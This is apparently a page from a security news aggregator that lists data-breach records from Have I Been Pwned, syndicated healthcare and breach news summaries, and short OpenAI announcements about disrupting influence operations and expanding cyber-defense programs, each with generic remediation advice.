Verified by Have I Been Pwned. Breach date: 2022-07-08; loaded 2025-11-20. Exposed data: Email addresses, Geographic locations, IP addresses, Names. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Operation Endgame 3.0 breach: 2,046,030 accounts exposed
https://kevwire.com/record/hibp-operationendgame3
Operation Endgame 3.0 breach: 2,046,030 accounts exposed (Nov 13, 2025).
Between 10 and 13 November 2025, the latest phase of Operation Endgame was coordinated from Europol's headquarters in The Hague . The actions targeted one of the biggest infostealer Rhadamanthys, the Remote Access Trojan VenomRAT, and the botnet Elysium, all of which played a key role in international cybercrime. Authorities took down these three large cybercrime enablers and provided 2 million impacted email addresses and 7.4 million passwords to HIBP.
Sources:
Have I Been Pwned: Operation Endgame 3.0: https://haveibeenpwned.com/Breach/OperationEndgame3
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-11-13; loaded 2025-11-13. Exposed data: Email addresses, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Synthient Credential Stuffing Threat Data breach: 1,957,476,021 accounts exposed
https://kevwire.com/record/hibp-synthientcredentialstuffingthreatdata
Synthient Credential Stuffing Threat Data breach: 1,957,476,021 accounts exposed (Nov 6, 2025).
During 2025, the threat-intelligence firm Synthient aggregated 2 billion unique email addresses disclosed in credential-stuffing lists found across multiple malicious internet sources . Comprised of email addresses and passwords from previous data breaches, these lists are used by attackers to compromise other, unrelated accounts of victims who have reused their passwords. The data also included 1.3 billion unique passwords, which are now searchable in Pwned Passwords. Working to turn breached data into awareness, Synthient partnered with HIBP to help victims of cybercrime understand their exposure.
Sources:
Have I Been Pwned: Synthient Credential Stuffing Threat Data: https://haveibeenpwned.com/Breach/SynthientCredentialStuffingThreatData
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-04-11; loaded 2025-11-06. Exposed data: Email addresses, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### MyVidster (2025) breach: 3,864,364 accounts exposed
https://kevwire.com/record/hibp-myvidster2025
MyVidster (2025) breach: 3,864,364 accounts exposed (Oct 27, 2025).
In October 2025, the data of almost 4M MyVidster users was posted to a public hacking forum . Separate to the 2015 breach, this incident exposed usernames, email addresses and in a small number of cases, profile photos.
Sources:
Have I Been Pwned: MyVidster (2025): https://haveibeenpwned.com/Breach/MyVidster2025
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-10-24; loaded 2025-10-27. Exposed data: Email addresses, Profile photos, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Welsh firms ‘Password1’ and ‘Test 2’ fails led to hackers stealing children’s data
https://kevwire.com/record/databreaches-welsh-firms-password1-and-test-2-fails-led-to-hackers-stealing-childrens-data-8e01e4fbe840
Welsh firms ‘Password1’ and ‘Test 2’ fails led to hackers stealing children’s data (Oct 20, 2026).
Alex Hickey reports: Two Welsh organisations have been censured by the Information Commissioner’s Office (ICO) after a ransomware attack led to the theft of personal data belonging to 3,300 individuals, the vast majority of whom were children. Ogi Networks Limited (ONL) and the Local Government Data Unit – Wales, known as Data Cymru, received reprimands...
 Source
Sources:
DataBreaches.net: Welsh firms ‘Password1’ and ‘Test 2’ fails led to hackers stealing children’s data: https://databreaches.net/2026/10/20/welsh-firms-password1-and-test-2-fails-led-to-hackers-stealing-childrens-data/
DataBreaches.net syndication feed: https://databreaches.net/feed/
Alex Hickey reports: Two Welsh organisations have been censured by the Information Commissioner’s Office (ICO) after a ransomware attack led to the theft of personal data belonging to 3,300 individuals, the vast majority of whom were children. Ogi Networks Limited (ONL) and the Local Government Data Unit – Wales, known as Data Cymru, received reprimands...
 Source

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Attorney General Tong Announces $625,000 Settlement with Frontier Over Data Breach
https://kevwire.com/record/databreaches-attorney-general-tong-announces-625000-settlement-with-frontier-over-data-breach-777337d44e7f
Attorney General Tong Announces $625,000 Settlement with Frontier Over Data Breach (Oct 20, 2026).
Connecticut Attorney General William Tong has been active in litigating data breaches. The press release below relates to a 2024 breach of Frontier Communications by RansomHub: Attorney General William Tong today announced a $625,000 settlement with Frontier Communications Parent Inc., resolving an investigation into an April 2024 data breach that compromised the sensitive personal information,...
 Source
Sources:
DataBreaches.net: Attorney General Tong Announces $625,000 Settlement with Frontier Over Data Breach: https://databreaches.net/2026/10/20/attorney-general-tong-announces-625000-settlement-with-frontier-over-data-breach/
DataBreaches.net syndication feed: https://databreaches.net/feed/
Connecticut Attorney General William Tong has been active in litigating data breaches. The press release below relates to a 2024 breach of Frontier Communications by RansomHub: Attorney General William Tong today announced a $625,000 settlement with Frontier Communications Parent Inc., resolving an investigation into an April 2024 data breach that compromised the sensitive personal information,...
 Source

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Suspected cyber incident blocks Parkview Health patient portal in Indiana and Ohio
https://kevwire.com/record/databreaches-suspected-cyber-incident-blocks-parkview-health-patient-portal-in-indiana-and-ohio-9992e08a4c02
Suspected cyber incident blocks Parkview Health patient portal in Indiana and Ohio (Oct 20, 2026).
DysruptionHub reports: The health system disabled its network after suspicious activity, leaving MyChart and doctor searches unavailable and directing urgent medical needs to phone calls or walk-in clinics. A suspected cyber incident left Parkview Health patients without MyChart and online doctor searches Monday after the Indiana-based health system disabled its network in response to suspicious...
 Source
Sources:
DataBreaches.net: Suspected cyber incident blocks Parkview Health patient portal in Indiana and Ohio: https://databreaches.net/2026/10/20/suspected-cyber-incident-blocks-parkview-health-patient-portal-in-indiana-and-ohio/
DataBreaches.net syndication feed: https://databreaches.net/feed/
DysruptionHub reports: The health system disabled its network after suspicious activity, leaving MyChart and doctor searches unavailable and directing urgent medical needs to phone calls or walk-in clinics. A suspected cyber incident left Parkview Health patients without MyChart and online doctor searches Monday after the Indiana-based health system disabled its network in response to suspicious...
 Source

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### NY AG James and CT AG Tong Secure $2.7 Million from Boston Children’s Health Physicians and XTIUM for 2024 Data Breach
https://kevwire.com/record/databreaches-ny-ag-james-and-ct-ag-tong-secure-2-7-million-from-boston-childrens-health-physicians-and-xtium-for--4d02691b2b96
NY AG James and CT AG Tong Secure $2.7 Million from Boston Children’s Health Physicians and XTIUM for 2024 Data Breach (Oct 17, 2026).
NY’s Attorney General and CT’s Attorney General held both a provider and its IT company liable for a data breach. The settlement also includes a corrective action plan to improve data security.  New York Attorney General Letitia James and Connecticut Attorney General William Tong today secured $2.7 million from Boston Children’s Health Physicians (BCHP), a...
 Source
Sources:
DataBreaches.net: NY AG James and CT AG Tong Secure $2.7 Million from Boston Children’s Health Physicians and XTIUM for 2024 Data Breach: https://databreaches.net/2026/10/17/ny-ag-james-and-ct-ag-tong-secure-2-7-million-from-boston-childrens-health-physicians-and-xtium-for-2024-data-breach/
DataBreaches.net syndication feed: https://databreaches.net/feed/
NY’s Attorney General and CT’s Attorney General held both a provider and its IT company liable for a data breach. The settlement also includes a corrective action plan to improve data security.  New York Attorney General Letitia James and Connecticut Attorney General William Tong today secured $2.7 million from Boston Children’s Health Physicians (BCHP), a...
 Source

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vendor Data Incidents Account for 69% of All Breach Victims
https://kevwire.com/record/hipaajournal-vendor-data-breaches-69-breach-victims-53e83801bf97
Vendor Data Incidents Account for 69% of All Breach Victims (Oct 26, 2026).
Cybersecurity incidents at vendors can have a massive impact, as they frequently result in unauthorized access to the data of […]

 The post Vendor Data Incidents Account for 69% of All Breach Victims appeared first on The HIPAA Journal .
Sources:
The HIPAA Journal: Vendor Data Incidents Account for 69% of All Breach Victims: https://www.hipaajournal.com/vendor-data-breaches-69-breach-victims/
The HIPAA Journal syndication feed: https://www.hipaajournal.com/feed/
Cybersecurity incidents at vendors can have a massive impact, as they frequently result in unauthorized access to the data of […]

 The post Vendor Data Incidents Account for 69% of All Breach Victims appeared first on The HIPAA Journal .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR
https://kevwire.com/record/hipaajournal-hapi-fhir-vulnerabilities-smile-cdr-1902a1099755
Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR (Oct 26, 2026).
Four vulnerabilities have been identified in HAPI FHIR, the open-source Java library and server framework that implements the HL7 FHIR […]

 The post Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR appeared first on The HIPAA Journal .
Sources:
The HIPAA Journal: Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR: https://www.hipaajournal.com/hapi-fhir-vulnerabilities-smile-cdr/
The HIPAA Journal syndication feed: https://www.hipaajournal.com/feed/
Four vulnerabilities have been identified in HAPI FHIR, the open-source Java library and server framework that implements the HL7 FHIR […]

 The post Multiple Vulnerabilities Identified in Component Used by Smile Digital Health’s Smile CDR appeared first on The HIPAA Journal .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit
https://kevwire.com/record/hipaajournal-washington-gastroenterology-data-breach-settlement-bfd4997ea0b7
Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit (Oct 23, 2026).
Washington Gastroenterology has agreed to pay $4,600,000 to settle class action litigation stemming from a cybersecurity incident that was identified […]

 The post Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit appeared first on The HIPAA Journal .
Sources:
The HIPAA Journal: Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit: https://www.hipaajournal.com/washington-gastroenterology-data-breach-settlement/
The HIPAA Journal syndication feed: https://www.hipaajournal.com/feed/
Washington Gastroenterology has agreed to pay $4,600,000 to settle class action litigation stemming from a cybersecurity incident that was identified […]

 The post Washington Gastroenterology Pays $4.6 Million to Settle Data Breach Lawsuit appeared first on The HIPAA Journal .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals
https://kevwire.com/record/hipaajournal-ultramobile-imaging-artistic-smiles-parkview-health-data-breaches-47fadc4e4017
UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals (Oct 23, 2026).
Data breaches have been announced by UltraMobile Imaging in New York, Artistic Smiles in Colorado, Parkview Health in Indiana, and […]

 The post UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals appeared first on The HIPAA Journal .
Sources:
The HIPAA Journal: UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals: https://www.hipaajournal.com/ultramobile-imaging-artistic-smiles-parkview-health-data-breaches/
The HIPAA Journal syndication feed: https://www.hipaajournal.com/feed/
Data breaches have been announced by UltraMobile Imaging in New York, Artistic Smiles in Colorado, Parkview Health in Indiana, and […]

 The post UltraMobile Imaging Identifies Data Breach Impacting 75,000 Individuals appeared first on The HIPAA Journal .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals
https://kevwire.com/record/hipaajournal-data-breach-new-york-law-firm-eff0d15937c9
Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals (Oct 23, 2026).
The law firm Tarter Krinsky & Drogin has reported a breach of the protected health information of 196,645 patients of […]

 The post Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals appeared first on The HIPAA Journal .
Sources:
The HIPAA Journal: Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals: https://www.hipaajournal.com/data-breach-new-york-law-firm/
The HIPAA Journal syndication feed: https://www.hipaajournal.com/feed/
The law firm Tarter Krinsky & Drogin has reported a breach of the protected health information of 196,645 patients of […]

 The post Data Breach at Manhattan Law Firm Involved PHI of 197,000 Individuals appeared first on The HIPAA Journal .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ridgeway Pharmacy Data Breach Affects 259,000 Individuals
https://kevwire.com/record/hipaajournal-ridgeway-pharmacy-data-breach-8b09d939ae4d
Ridgeway Pharmacy Data Breach Affects 259,000 Individuals (Oct 22, 2026).
A data breach at Ridgeway Pharmacy in Montana has affected almost 259,000 individuals. Data breaches have also been announced by […]

 The post Ridgeway Pharmacy Data Breach Affects 259,000 Individuals appeared first on The HIPAA Journal .
Sources:
The HIPAA Journal: Ridgeway Pharmacy Data Breach Affects 259,000 Individuals: https://www.hipaajournal.com/ridgeway-pharmacy-data-breach/
The HIPAA Journal syndication feed: https://www.hipaajournal.com/feed/
A data breach at Ridgeway Pharmacy in Montana has affected almost 259,000 individuals. Data breaches have also been announced by […]

 The post Ridgeway Pharmacy Data Breach Affects 259,000 Individuals appeared first on The HIPAA Journal .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation
https://kevwire.com/record/hipaajournal-innovative-renal-care-data-breach-settlement-770205529476
Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation (Oct 22, 2026).
American Renal Management LLC, doing business as Innovative Renal Care, a kidney care specialist with more than 200 locations in […]

 The post Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation appeared first on The HIPAA Journal .
Sources:
The HIPAA Journal: Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation: https://www.hipaajournal.com/innovative-renal-care-data-breach-settlement/
The HIPAA Journal syndication feed: https://www.hipaajournal.com/feed/
American Renal Management LLC, doing business as Innovative Renal Care, a kidney care specialist with more than 200 locations in […]

 The post Innovative Renal Care Pays $900,000 to Settle Data Breach Litigation appeared first on The HIPAA Journal .

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Review the reporting article and any linked primary disclosure before taking incident-specific action.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Patch the Planet: global response coordination as agents uncover critical vulnerabilities
https://kevwire.com/record/openai-coordinated-disclosure-of-critical-vulnerabilities-de9db6f384cb
Patch the Planet: global response coordination as agents uncover critical vulnerabilities (Oct 21, 2026).
Patch the Planet connects security researchers, maintainers, and incident responders to help address critical vulnerabilities across open source.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Patch the Planet: global response coordination as agents uncover critical vulnerabilities: https://openai.com/index/coordinated-disclosure-of-critical-vulnerabilities
OpenAI syndication feed: https://openai.com/news/rss.xml
Patch the Planet connects security researchers, maintainers, and incident responders to help address critical vulnerabilities across open source.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Disrupting AI-enabled “false front” operations
https://kevwire.com/record/openai-disrupting-ai-enabled-false-front-operations-d9e485b409fe
Disrupting AI-enabled “false front” operations (Oct 8, 2026).
OpenAI disrupted two AI-enabled influence operations that used false-front journalists and a think tank to spread geopolitical messaging.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Disrupting AI-enabled “false front” operations: https://openai.com/index/disrupting-ai-enabled-false-front-operations
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI disrupted two AI-enabled influence operations that used false-front journalists and a think tank to spread geopolitical messaging.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Disrupting a coordinated model-distillation campaign
https://kevwire.com/record/openai-disrupting-a-coordinated-model-distillation-campaign-90249c2a3882
Disrupting a coordinated model-distillation campaign (Sep 30, 2026).
Learn how OpenAI disrupted a campaign to extract protected model reasoning and is strengthening defenses against adversarial distillation.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Disrupting a coordinated model-distillation campaign: https://openai.com/index/disrupting-a-coordinated-model-distillation-campaign
OpenAI syndication feed: https://openai.com/news/rss.xml
Learn how OpenAI disrupted a campaign to extract protected model reasoning and is strengthening defenses against adversarial distillation.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenAI extends cyber access to Ukraine for civilian defense
https://kevwire.com/record/openai-openai-extends-cyber-access-to-ukraine-for-civilian-defense-9328fa400dd3
OpenAI extends cyber access to Ukraine for civilian defense (Sep 23, 2026).
OpenAI is extending access to its Daybreak program to the Government of Ukraine to support the cyber defense of civilian infrastructure.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: OpenAI extends cyber access to Ukraine for civilian defense: https://openai.com/index/openai-extends-cyber-access-to-ukraine-for-civilian-defense
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI is extending access to its Daybreak program to the Government of Ukraine to support the cyber defense of civilian infrastructure.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Hugging Face incident and the road ahead
https://kevwire.com/record/openai-hugging-face-incident-and-the-road-ahead-34e62ff4c7cf
The Hugging Face incident and the road ahead (Aug 26, 2026).
OpenAI shares findings from the Hugging Face security incident and the steps we’re taking to strengthen AI model security, monitoring, and alignment.
Sources:
OpenAI: The Hugging Face incident and the road ahead: https://openai.com/index/hugging-face-incident-and-the-road-ahead
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI shares findings from the Hugging Face security incident and the steps we’re taking to strengthen AI model security, monitoring, and alignment.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Disrupting a new covert influence campaign from Russia
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-influence-campaign-russia-62003111f3b5
Disrupting a new covert influence campaign from Russia (Aug 25, 2026).
OpenAI banned Russia-origin accounts using AI to promote a fake Israel-based think tank and a “sovereignty” index praising Russia and criticizing the West.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Disrupting a new covert influence campaign from Russia: https://openai.com/index/disrupting-malicious-uses-of-ai-influence-campaign-russia
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned Russia-origin accounts using AI to promote a fake Israel-based think tank and a “sovereignty” index praising Russia and criticizing the West.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Strengthening democratic oversight in national security
https://kevwire.com/record/openai-strengthening-democratic-oversight-in-national-security-f0aa91974e0a
Strengthening democratic oversight in national security (Aug 18, 2026).
OpenAI launches an initiative to strengthen democratic oversight of AI in national security, supporting government institutions with tools, training, and expertise.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Strengthening democratic oversight in national security: https://openai.com/index/strengthening-democratic-oversight-in-national-security
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI launches an initiative to strengthen democratic oversight of AI in national security, supporting government institutions with tools, training, and expertise.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pacing model development in an era of cyber-critical capabilities
https://kevwire.com/record/openai-pacing-model-development-cyber-capabilities-9c25f4ae7a18
Pacing model development in an era of cyber-critical capabilities (Aug 18, 2026).
OpenAI is strengthening monitoring, alignment, and security for frontier AI models. See how new safeguards are guiding the pace of model development.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Pacing model development in an era of cyber-critical capabilities: https://openai.com/index/pacing-model-development-cyber-capabilities
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI is strengthening monitoring, alignment, and security for frontier AI models. See how new safeguards are guiding the pace of model development.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Expanding Daybreak as the Cyber Defense Window Narrows
https://kevwire.com/record/openai-expanding-daybreak-as-the-cyber-defense-window-narrows-081601c279be
Expanding Daybreak as the Cyber Defense Window Narrows (Aug 10, 2026).
Meet GPT-5.6-Cyber, OpenAI’s cybersecurity-specific model available through Daybreak Red for authorized vulnerability research, exploit validation, and security testing.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Expanding Daybreak as the Cyber Defense Window Narrows: https://openai.com/index/expanding-daybreak-as-the-cyber-defense-window-narrows
OpenAI syndication feed: https://openai.com/news/rss.xml
Meet GPT-5.6-Cyber, OpenAI’s cybersecurity-specific model available through Daybreak Red for authorized vulnerability research, exploit validation, and security testing.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Responding to the next frontier of critical cyber capabilities
https://kevwire.com/record/openai-responding-next-frontier-critical-cyber-capabilities-e66cc71d0943
Responding to the next frontier of critical cyber capabilities (Aug 7, 2026).
OpenAI is sharing preliminary cybersecurity evaluations for Astra and the steps we’re taking to strengthen safeguards and security controls.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Responding to the next frontier of critical cyber capabilities: https://openai.com/index/responding-next-frontier-critical-cyber-capabilities
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI is sharing preliminary cybersecurity evaluations for Astra and the steps we’re taking to strengthen safeguards and security controls.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Third-party cyber evaluations involving OpenAI models
https://kevwire.com/record/openai-third-party-cyber-evaluations-involving-openai-models-c99ec862b4e7
Third-party cyber evaluations involving OpenAI models (Aug 4, 2026).
OpenAI explains recent third-party cybersecurity evaluation incidents and outlines new safeguards to strengthen AI model testing and evaluation.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Third-party cyber evaluations involving OpenAI models: https://openai.com/index/third-party-cyber-evaluations-involving-openai-models
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI explains recent third-party cybersecurity evaluation incidents and outlines new safeguards to strengthen AI model testing and evaluation.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Disrupting a Cambodia-based criminal scam operation
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-criminal-scam-operation-ff7c1653ce2e
Disrupting a Cambodia-based criminal scam operation (Jul 31, 2026).
OpenAI disrupted a Cambodia-based scam operation using ChatGPT to support investment, romance, gambling, and impersonation schemes.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Disrupting a Cambodia-based criminal scam operation: https://openai.com/index/disrupting-malicious-uses-of-ai-criminal-scam-operation
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI disrupted a Cambodia-based scam operation using ChatGPT to support investment, romance, gambling, and impersonation schemes.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Our approach to government and national security partnerships
https://kevwire.com/record/openai-government-national-security-partnerships-e00d55023af7
Our approach to government and national security partnerships (Jul 8, 2026).
Learn how OpenAI approaches government and national security partnerships, with principles for responsible AI use, democratic accountability, and public safety.
AI classification: defense; evidence: confirmed. The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: Our approach to government and national security partnerships: https://openai.com/index/government-national-security-partnerships
OpenAI syndication feed: https://openai.com/news/rss.xml
Learn how OpenAI approaches government and national security partnerships, with principles for responsible AI use, democratic accountability, and public safety.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original post for its scope and limitations before applying its findings.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### PRC-linked influence operations are targeting AI debates in the US
https://kevwire.com/record/openai-prc-linked-influence-operations-ai-debates-278708794349
PRC-linked influence operations are targeting AI debates in the US (Jun 10, 2026).
A new report from OpenAI details PRC-linked influence operations using AI to target U.S. tech debates, data center narratives, tariffs, and false claims about ChatGPT.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: PRC-linked influence operations are targeting AI debates in the US: https://openai.com/index/prc-linked-influence-operations-ai-debates
OpenAI syndication feed: https://openai.com/news/rss.xml
A new report from OpenAI details PRC-linked influence operations using AI to target U.S. tech debates, data center narratives, tariffs, and false claims about ChatGPT.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### “Data Center Bandwagon” Campaign: US-targeted influence activity
https://kevwire.com/record/openai-disrupting-malicious-uses-of-ai-data-center-bandwagon-b6a1a5c9851a
“Data Center Bandwagon” Campaign: US-targeted influence activity (Jun 1, 2026).
OpenAI banned a likely PRC-origin cluster using AI to generate social media content criticizing US data centers and AI infrastructure.
AI classification: offense; evidence: confirmed. The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.
Sources:
OpenAI: “Data Center Bandwagon” Campaign: US-targeted influence activity: https://openai.com/index/disrupting-malicious-uses-of-ai-data-center-bandwagon
OpenAI syndication feed: https://openai.com/news/rss.xml
OpenAI banned a likely PRC-origin cluster using AI to generate social media content criticizing US data centers and AI infrastructure.

Published by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

